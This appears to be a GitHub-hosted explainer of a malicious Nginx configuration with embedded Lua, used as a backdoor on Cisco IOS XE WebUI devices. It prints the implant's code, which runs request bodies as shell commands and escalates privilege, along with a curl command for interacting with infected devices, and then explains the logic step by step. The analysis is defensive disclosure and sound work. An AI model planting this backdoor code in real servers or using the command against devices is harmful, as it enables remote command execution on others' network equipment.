Skip to content

Latest commit

 

History

History
114 lines (96 loc) · 4.9 KB

Exploitation_Explainer.md

File metadata and controls

114 lines (96 loc) · 4.9 KB

Cisco WebUI Shell - Nginx Configuration with Embedded Lua Script - Code Logic Explained

Shell 1 was a simpler version of Shell 2 that did not check for authorization headers

Shell 2 (October 20th)

  • Where you see REDACTED the information was not provided by Cisco Talos.
  • Known CURL for interacting with this is:
curl -k -H "Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb" -X POST "https[:]//DEVICEIP/webui/logoutconfirm.html?logon_hash=1"
location /webui/logoutconfirm.html {
    add_header Content-Type text/html;
    add_header Cache-Control 'no-cache, no-store, must-revalidate';
    add_header Pragma no-cache;
    add_header Strict-Transport-Security "max-age=31536000; includeSubdomains";
    content_by_lua '
        local authorized = false
        local content = ""
        local method = ngx.req.get_method()
        local headers = ngx.req.get_headers()
        local params = ngx.req.get_uri_args()

        if (method == "POST" and params ~= nil) then
            if (headers["Authorization"] ~= nil) then
                local authcode = string.gsub(headers["Authorization"], "^%s*(.-)%s*$", "%1")
                if (authcode ~= nil and string.match(authcode, "^%w+$") ~= nil) then
                    local f = io.popen("REDACTED", "r")
                    if (f ~= nil) then
                        local shasum = f:read("*all")
                        shasum = string.lower(shasum)
                        if string.find(shasum, "REDACTED") then
                            authorized = true
                        end
                        f:close()
                    end
                end
            end

            if (authorized == true) then
                ngx.req.read_body()
                local body = ngx.req.get_body_data()
                if (params["menu"] ~= nil and params["menu"] ~= "") then
                    content = "/2010202301/"
                elseif (params["logon_hash"] ~= nil and params["logon_hash"] == "1") then
                    content = "REDACTED"
                elseif (params["logon_hash"] ~= nil and params["logon_hash"] == "REDACTED") then
                    if (params["common_type"] == "subsystem") then
                        local f = io.popen(body, "r")
                        if (f ~= nil) then
                            content = f:read("*all")
                            f:close()
                        end
                    elseif (params["common_type"] == "iox") then
                        ngx.req.set_header("Priv-Level", "15")
                        local result = ngx.location.capture("/lua5", {method=ngx.HTTP_POST, body=body})
                        local response = result.body
                        if not (response == nil or #response == 0) then
                            content = response
                        end
                    end
                end
            end
        end

        if (authorized == true) then
            ngx.status = 200
            ngx.say(content)
        else
            local result = ngx.location.capture("/internalWebui/login.html", {method = ngx.HTTP_GET})
            if result then
                ngx.status = result.status
                if result.body then
                    ngx.say(result.body)
                end
            end
        end
    ';
}

Initial Setup

  1. Headers: Several HTTP headers are set for the /webui/logoutconfirm.html location.
  2. Variables: Three local variables authorized, content, and method are initialized.

Authorization Check

  1. Request Method and Params: Checks if the HTTP request method is POST and whether URI parameters exist.
  2. Authorization Header: Looks for an "Authorization" header in the request.
    • If found, it trims and validates the header's value.
    • Executes an external command (redacted) and reads its output.
    • Compares this output to a specific string (also redacted) to set the authorized flag.

Request Handling

  1. Body Reading: If authorized, it reads the request body into a variable called body.
  2. Menu Check: Checks for a menu parameter in the URI.
    • If it exists and is not empty, sets the content variable to "/2010202301/".
  3. Logon Hash Checks: Two conditions based on the value of logon_hash parameter.
    • If it equals "1", sets content to a redacted string.
    • If it equals another redacted string, then:
      • Subsystem: Executes an external command using the body of the request and reads its output.
      • IOx: Changes the "Priv-Level" header and makes an HTTP POST request to another location, capturing its response.

Final Output

  1. Authorized: If the user was authorized, returns a 200 status code and the content variable as the body.
  2. Not Authorized: If not authorized, makes an HTTP GET request to /internalWebui/login.html and returns its result (Note this is designed to trick you into believing it is safe.).